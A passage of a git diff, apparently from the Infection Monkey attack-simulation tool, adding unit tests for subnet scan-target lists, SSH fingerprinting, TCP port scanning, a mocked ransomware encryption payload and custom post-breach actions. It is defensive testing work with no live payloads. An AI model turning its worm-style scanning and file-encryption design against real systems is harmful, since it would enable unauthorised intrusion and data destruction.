local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["127.0.0.0", "127.0.0.1", "localhost"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 2 + assert NetworkAddress(ip="127.0.0.0", domain=None) in scan_targets + assert NetworkAddress(ip="127.0.0.1", domain="localhost") in scan_targets + + +@pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) +def test_only_scan_ip_is_local(ranges_to_scan): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=ranges_to_scan, + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_local_network_interface_ips_and_blocked_ips_removed_from_targets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("10.0.0.32", "/24"), + NetworkInterface("10.0.0.119", "/24"), + NetworkInterface("192.168.1.33", "/24"), + ] + blocked_ips = ["10.0.0.63", "192.168.1.77", "0.0.0.0"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["10.0.0.0/24", "192.168.1.0/24"], + inaccessible_subnets=[], + blocklisted_ips=blocked_ips, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == (2 * (256 - 1)) - len(local_network_interfaces) - ( + len(blocked_ips) - 1 + ) + + for interface in local_network_interfaces: + assert interface.address not in scan_targets + + for ip in blocked_ips: + assert ip not in scan_targets + + +def test_local_subnet_added(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 254 + + for ip in chain(range(0, 5), range(6, 255)): + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets + + +def test_multiple_local_subnets_added(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("172.33.66.99", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 2 * (255 - 1) + + for ip in chain(range(0, 5), range(6, 255)): + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets + + for ip in chain(range(0, 99), range(100, 255)): + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets + + +def test_blocklisted_ips_missing_from_local_subnets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + NetworkInterface("172.33.66.99", "/24"), + ] + blocklisted_ips = ["10.0.0.12", "10.0.0.13", "172.33.66.25"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=blocklisted_ips, + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 2 * (255 - 1) - len(blocklisted_ips) + + for ip in blocklisted_ips: + assert ip not in scan_targets + + +def test_local_subnets_and_ranges_added(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["172.33.66.40/30"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 254 + 3 + + for ip in range(0, 5): + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets + for ip in range(6, 255): + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets + + for ip in range(40, 43): + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets + + +def test_local_network_interfaces_specified_but_disabled(): + local_network_interfaces = [NetworkInterface("10.0.0.5", "/24")] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["172.33.66.40/30"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in range(40, 43): + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets + + +def test_local_network_interfaces_subnet_masks(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + NetworkInterface("172.60.145.144", "/30"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=True, + ) + + assert len(scan_targets) == 4 + + for ip in [108, 110, 145, 146]: + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets + + +def test_segmentation_targets(): + local_network_interfaces = [NetworkInterface("172.60.145.109", "/24")] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.144/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [144, 145, 146]: + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets + + +def test_segmentation_clash_with_blocked(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.149/30"] + + blocked = ["172.60.145.148", "172.60.145.149", "172.60.145.150"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=blocked, + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_segmentation_clash_with_targets(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.108/30", "172.60.145.149/30"] + + targets = ["172.60.145.149", "172.60.145.150"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [148, 149, 150]: + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets + + +def test_segmentation_one_network(): + local_network_interfaces = [ + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = ["172.60.145.1/24"] + + targets = ["172.60.145.149/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + +def test_segmentation_inaccessible_networks(): + local_network_interfaces = [ + NetworkInterface("172.60.1.1", "/24"), + NetworkInterface("172.60.2.1", "/24"), + ] + + inaccessible_subnets = ["172.60.144.1/24", "172.60.146.1/24"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=[], + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 0 + + +def test_invalid_inputs(): + local_network_interfaces = [ + NetworkInterface("172.60.999.109", "/30"), + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = [ + "172.60.145.1 - 172.60.145.1111", + "172.60.147.888/30" "172.60.147.8/30", + "172.60.147.148/30", + ] + + targets = ["172.60.145.149/33", "1.-1.1.1", "1.a.2.2", "172.60.145.151/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [148, 149, 150]: + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets + + +def test_invalid_blocklisted_ip(): + local_network_interfaces = [NetworkInterface("172.60.145.109", "/30")] + + inaccessible_subnets = ["172.60.147.8/30", "172.60.147.148/30"] + + targets = ["172.60.145.151/30"] + + blocklisted = ["172.60.145.153", "172.60.145.753"] + + with pytest.raises(InvalidNetworkRangeError): + compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=blocklisted, + enable_local_network_scan=False, + ) + + +def test_sorted_scan_targets(): + expected_results = [f"10.1.0.{i}" for i in range(0, 255)] + expected_results.extend([f"10.2.0.{i}" for i in range(0, 255)]) + expected_results.extend([f"10.10.0.{i}" for i in range(0, 255)]) + expected_results.extend([f"10.20.0.{i}" for i in range(0, 255)]) + + scan_targets = compile_scan_target_list( + [], ["10.1.0.0/24", "10.10.0.0/24", "10.20.0.0/24", "10.2.0.0/24"], [], [], False + ) + + actual_results = [network_address.ip for network_address in scan_targets] + + assert expected_results == actual_results diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py new file mode 100644 index 000000000..69c8eb580 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ssh_fingerprinter.py @@ -0,0 +1,95 @@ +import pytest + +from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus +from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter + + +@pytest.fixture +def ssh_fingerprinter(): + return SSHFingerprinter() + + +def test_no_ssh_ports_open(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.CLOSED, "", "tcp-22"), + 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData(None, None, {}) + + +def test_no_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1", "tcp-22"), + 2222: PortScanData(2222, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1", "tcp-2222"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + None, + None, + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + }, + "tcp-2222": { + "display_name": "SSH", + "port": 2222, + "name": "ssh", + }, + }, + ) + + +def test_ssh_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", "tcp-22"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + "linux", + "Ubuntu-4ubuntu0.2", + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + } + }, + ) + + +def test_multiple_os(ssh_fingerprinter): + port_scan_data = { + 22: PortScanData(22, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2", "tcp-22"), + 2222: PortScanData(2222, PortStatus.OPEN, "SSH-2.0-OpenSSH_8.2p1 Debian", "tcp-2222"), + 443: PortScanData(443, PortStatus.CLOSED, "", "tcp-443"), + 8080: PortScanData(8080, PortStatus.CLOSED, "", "tcp-8080"), + } + results = ssh_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, None) + + assert results == FingerprintData( + "linux", + "Debian", + { + "tcp-22": { + "display_name": "SSH", + "port": 22, + "name": "ssh", + }, + "tcp-2222": { + "display_name": "SSH", + "port": 2222, + "name": "ssh", + }, + }, + ) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py new file mode 100644 index 000000000..837b3da0d --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_tcp_scanner.py @@ -0,0 +1,63 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.i_puppet import PortStatus +from infection_monkey.network_scanning import scan_tcp_ports +from infection_monkey.network_scanning.tcp_scanner import EMPTY_PORT_SCAN + +PORTS_TO_SCAN = [22, 80, 8080, 143, 445, 2222] + +OPEN_PORTS_DATA = {22: "SSH-banner", 80: "", 2222: "SSH2-banner"} + + +@pytest.fixture +def patch_check_tcp_ports(monkeypatch, open_ports_data): + monkeypatch.setattr( + "infection_monkey.network_scanning.tcp_scanner._check_tcp_ports", + lambda *_: open_ports_data, + ) + + +@pytest.mark.parametrize("open_ports_data", [OPEN_PORTS_DATA]) +def test_tcp_successful(monkeypatch, patch_check_tcp_ports, open_ports_data): + closed_ports = [8080, 143, 445] + + port_scan_data = scan_tcp_ports("127.0.0.1", PORTS_TO_SCAN, 0) + + assert len(port_scan_data) == 6 + for port in open_ports_data.keys(): + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.OPEN + assert port_scan_data[port].banner == open_ports_data.get(port) + + for port in closed_ports: + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.CLOSED + assert port_scan_data[port].banner is None + + +@pytest.mark.parametrize("open_ports_data", [{}]) +def test_tcp_empty_response(monkeypatch, patch_check_tcp_ports, open_ports_data): + port_scan_data = scan_tcp_ports("127.0.0.1", PORTS_TO_SCAN, 0) + + assert len(port_scan_data) == 6 + for port in open_ports_data: + assert port_scan_data[port].port == port + assert port_scan_data[port].status == PortStatus.CLOSED + assert port_scan_data[port].banner is None + + +@pytest.mark.parametrize("open_ports_data", [OPEN_PORTS_DATA]) +def test_tcp_no_ports_to_scan(monkeypatch, patch_check_tcp_ports, open_ports_data): + port_scan_data = scan_tcp_ports("127.0.0.1", [], 0) + + assert len(port_scan_data) == 0 + + +def test_exception_handling(monkeypatch): + monkeypatch.setattr( + "infection_monkey.network_scanning.tcp_scanner._scan_tcp_ports", + MagicMock(side_effect=Exception), + ) + assert scan_tcp_ports("abc", [123], 123) == EMPTY_PORT_SCAN diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/conftest.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/conftest.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/ransomware/ransomware_target_files.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/ransomware_target_files.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py similarity index 86% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py index 42e852b95..8b1309c07 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_file_selectors.py @@ -2,7 +2,7 @@ import os import shutil import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, HELLO_TXT, SHORTCUT_LNK, @@ -12,8 +12,8 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from tests.utils import is_user_admin -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.ransomware_payload import README_SRC +from infection_monkey.payload.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.payload.ransomware.ransomware import README_SRC TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] @@ -24,7 +24,7 @@ def file_selector(): def test_select_targeted_files_only(ransomware_test_data, file_selector): - selected_files = file_selector(ransomware_test_data) + selected_files = list(file_selector(ransomware_test_data)) assert len(selected_files) == 2 assert (ransomware_test_data / ALL_ZEROS_PDF) in selected_files diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py similarity index 92% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py index eb2633226..b69266db9 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_in_place_file_encryptor.py @@ -1,7 +1,7 @@ import os import pytest -from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, ALL_ZEROS_PDF_CLEARTEXT_SHA256, ALL_ZEROS_PDF_ENCRYPTED_SHA256, @@ -11,7 +11,7 @@ from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ) from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.payload.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.utils.bit_manipulators import flip_bits EXTENSION = ".m0nk3y" diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py new file mode 100644 index 000000000..88f37037c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -0,0 +1,220 @@ +import threading +from pathlib import PurePosixPath +from unittest.mock import MagicMock + +import pytest +from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + HELLO_TXT, + TEST_KEYBOARD_TXT, +) + +from infection_monkey.payload.ransomware.consts import README_FILE_NAME, README_SRC +from infection_monkey.payload.ransomware.ransomware import Ransomware +from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions + + +@pytest.fixture +def ransomware(build_ransomware, ransomware_options): + return build_ransomware(ransomware_options) + + +@pytest.fixture +def build_ransomware( + mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy +): + def inner( + config, + file_encryptor=mock_file_encryptor, + file_selector=mock_file_selector, + leave_readme=mock_leave_readme, + ): + return Ransomware( + config, + file_encryptor, + file_selector, + leave_readme, + telemetry_messenger_spy, + ) + + return inner + + +@pytest.fixture +def ransomware_options(ransomware_test_data): + class RansomwareOptionsStub(RansomwareOptions): + def __init__(self, encryption_enabled, readme_enabled, target_directory): + self.encryption_enabled = encryption_enabled + self.readme_enabled = readme_enabled + self.target_directory = target_directory + + return RansomwareOptionsStub(True, False, ransomware_test_data) + + +@pytest.fixture +def mock_file_encryptor(): + return MagicMock() + + +@pytest.fixture +def mock_file_selector(ransomware_test_data): + selected_files = iter( + [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + ) + return MagicMock(return_value=selected_files) + + +@pytest.fixture +def mock_leave_readme(): + return MagicMock() + + +@pytest.fixture +def interrupt(): + return threading.Event() + + +def test_files_selected_from_target_dir( + ransomware, + ransomware_options, + mock_file_selector, +): + ransomware.run(threading.Event()) + mock_file_selector.assert_called_with(ransomware_options.target_directory) + + +def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_file_encryptor): + ransomware.run(threading.Event()) + + assert mock_file_encryptor.call_count == 2 + mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) + + +def test_interrupt_while_encrypting( + ransomware_test_data, interrupt, ransomware_options, build_ransomware +): + selected_files = [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / HELLO_TXT, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + mfs = MagicMock(return_value=selected_files) + + def _callback(file_path, *_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + if file_path.name == HELLO_TXT: + interrupt.set() + + mfe = MagicMock(side_effect=_callback) + + build_ransomware(ransomware_options, mfe, mfs).run(interrupt) + + assert mfe.call_count == 2 + mfe.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mfe.assert_any_call(ransomware_test_data / HELLO_TXT) + + +def test_no_readme_after_interrupt( + ransomware_options, build_ransomware, interrupt, mock_leave_readme +): + ransomware_options.readme_enabled = True + ransomware = build_ransomware(ransomware_options) + + interrupt.set() + ransomware.run(interrupt) + + mock_leave_readme.assert_not_called() + + +def test_encryption_skipped_if_configured_false( + build_ransomware, ransomware_options, mock_file_encryptor +): + ransomware_options.encryption_enabled = False + + ransomware = build_ransomware(ransomware_options) + ransomware.run(threading.Event()) + + assert mock_file_encryptor.call_count == 0 + + +def test_encryption_skipped_if_no_directory( + build_ransomware, ransomware_options, mock_file_encryptor +): + ransomware_options.encryption_enabled = True + ransomware_options.target_directory = None + + ransomware = build_ransomware(ransomware_options) + ransomware.run(threading.Event()) + + assert mock_file_encryptor.call_count == 0 + + +def test_telemetry_success(ransomware, telemetry_messenger_spy): + ransomware.run(threading.Event()) + + assert len(telemetry_messenger_spy.telemetries) == 2 + telem_1 = telemetry_messenger_spy.telemetries[0] + telem_2 = telemetry_messenger_spy.telemetries[1] + + assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"] + assert telem_1.get_data()["files"][0]["success"] + assert telem_1.get_data()["files"][0]["error"] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"] + assert telem_2.get_data()["files"][0]["success"] + assert telem_2.get_data()["files"][0]["error"] == "" + + +def test_telemetry_failure(build_ransomware, ransomware_options, telemetry_messenger_spy): + file_not_exists = "/file/not/exist" + mfe = MagicMock( + side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") + ) + mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) + ransomware = build_ransomware(config=ransomware_options, file_encryptor=mfe, file_selector=mfs) + + ransomware.run(threading.Event()) + telem = telemetry_messenger_spy.telemetries[0] + + assert file_not_exists in telem.get_data()["files"][0]["path"] + assert not telem.get_data()["files"][0]["success"] + assert "No such file or directory" in telem.get_data()["files"][0]["error"] + + +def test_readme_false(build_ransomware, ransomware_options, mock_leave_readme): + ransomware_options.readme_enabled = False + ransomware = build_ransomware(ransomware_options) + + ransomware.run(threading.Event()) + mock_leave_readme.assert_not_called() + + +def test_readme_true(build_ransomware, ransomware_options, mock_leave_readme, ransomware_test_data): + ransomware_options.readme_enabled = True + ransomware = build_ransomware(ransomware_options) + + ransomware.run(threading.Event()) + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) + + +def test_no_readme_if_no_directory(build_ransomware, ransomware_options, mock_leave_readme): + ransomware_options.target_directory = None + ransomware_options.readme_enabled = True + + ransomware = build_ransomware(ransomware_options) + + ransomware.run(threading.Event()) + mock_leave_readme.assert_not_called() + + +def test_leave_readme_exceptions_handled(build_ransomware, ransomware_options): + leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) + ransomware_options.readme_enabled = True + ransomware = build_ransomware(config=ransomware_options, leave_readme=leave_readme) + + # Test will fail if exception is raised and not handled + ransomware.run(threading.Event()) diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py new file mode 100644 index 000000000..f2b6a8c8c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py @@ -0,0 +1,73 @@ +from pathlib import Path + +import pytest +from tests.utils import raise_ + +from common.utils.file_utils import InvalidPath +from infection_monkey.payload.ransomware import ransomware_options +from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + + +@pytest.fixture +def options_from_island(): + return { + "encryption": { + "enabled": None, + "directories": { + "linux_target_dir": LINUX_DIR, + "windows_target_dir": WINDOWS_DIR, + }, + }, + "other_behaviors": {"readme": None}, + } + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_encryption_enabled(enabled, options_from_island): + options_from_island["encryption"]["enabled"] = enabled + options = RansomwareOptions(options_from_island) + + assert options.encryption_enabled == enabled + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_readme_enabled(enabled, options_from_island): + options_from_island["other_behaviors"]["readme"] = enabled + options = RansomwareOptions(options_from_island) + + assert options.readme_enabled == enabled + + +def test_linux_target_dir(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: False) + + options = RansomwareOptions(options_from_island) + assert options.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: True) + + options = RansomwareOptions(options_from_island) + assert options.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(options_from_island, patched_home_env, tmp_path): + path_with_env_variable = "$HOME/ransomware_target" + + options_from_island["encryption"]["directories"]["linux_target_dir"] = options_from_island[ + "encryption" + ]["directories"]["windows_target_dir"] = path_with_env_variable + + options = RansomwareOptions(options_from_island) + assert options.target_directory == patched_home_env / "ransomware_target" + + +def test_target_dir_is_none(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "expand_path", lambda _: raise_(InvalidPath("invalid"))) + + options = RansomwareOptions(options_from_island) + assert options.target_directory is None diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py similarity index 75% rename from monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py rename to monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py index 516e03935..35f12bdd4 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py @@ -1,10 +1,11 @@ +import filecmp + import pytest from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.readme_dropper import leave_readme +from infection_monkey.payload.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" -README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" @@ -22,11 +23,9 @@ def test_readme_already_exists(src_readme, dest_readme): dest_readme.touch() leave_readme(src_readme, dest_readme) - assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH def test_leave_readme(src_readme, dest_readme): leave_readme(src_readme, dest_readme) - - assert get_file_sha256_hash(dest_readme) == README_HASH + assert filecmp.cmp(src_readme, dest_readme) diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py index e7da336eb..598f3412b 100644 --- a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py @@ -1,18 +1,21 @@ +from unittest.mock import MagicMock + import pytest -from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA +from infection_monkey.post_breach.custom_pba.custom_pba import CustomPBA MONKEY_DIR_PATH = "/dir/to/monkey/" CUSTOM_LINUX_CMD = "command-for-linux" CUSTOM_LINUX_FILENAME = "filename-for-linux" CUSTOM_WINDOWS_CMD = "command-for-windows" CUSTOM_WINDOWS_FILENAME = "filename-for-windows" +CUSTOM_SERVER = "10.10.10.10:5000" -@pytest.fixture +@pytest.fixture(autouse=True) def fake_monkey_dir_path(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path", + "infection_monkey.post_breach.custom_pba.custom_pba.get_monkey_dir_path", lambda: MONKEY_DIR_PATH, ) @@ -20,7 +23,7 @@ def fake_monkey_dir_path(monkeypatch): @pytest.fixture def set_os_linux(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + "infection_monkey.post_breach.custom_pba.custom_pba.is_windows_os", lambda: False, ) @@ -28,106 +31,92 @@ def set_os_linux(monkeypatch): @pytest.fixture def set_os_windows(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + "infection_monkey.post_breach.custom_pba.custom_pba.is_windows_os", lambda: True, ) @pytest.fixture -def mock_UsersPBA_linux_custom_file_and_cmd(set_os_linux, fake_monkey_dir_path, monkeypatch): - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.custom_PBA_linux_cmd", - CUSTOM_LINUX_CMD, - ) - monkeypatch.setattr( - "infection_monkey.config.WormConfiguration.PBA_linux_filename", - CUSTOM_LINUX_FILENAME, - ) - return UsersPBA() +def fake_custom_pba_linux_options(): + return { + "linux_command": CUSTOM_LINUX_CMD, + "linux_filename": CUSTOM_LINUX_FILENAME, 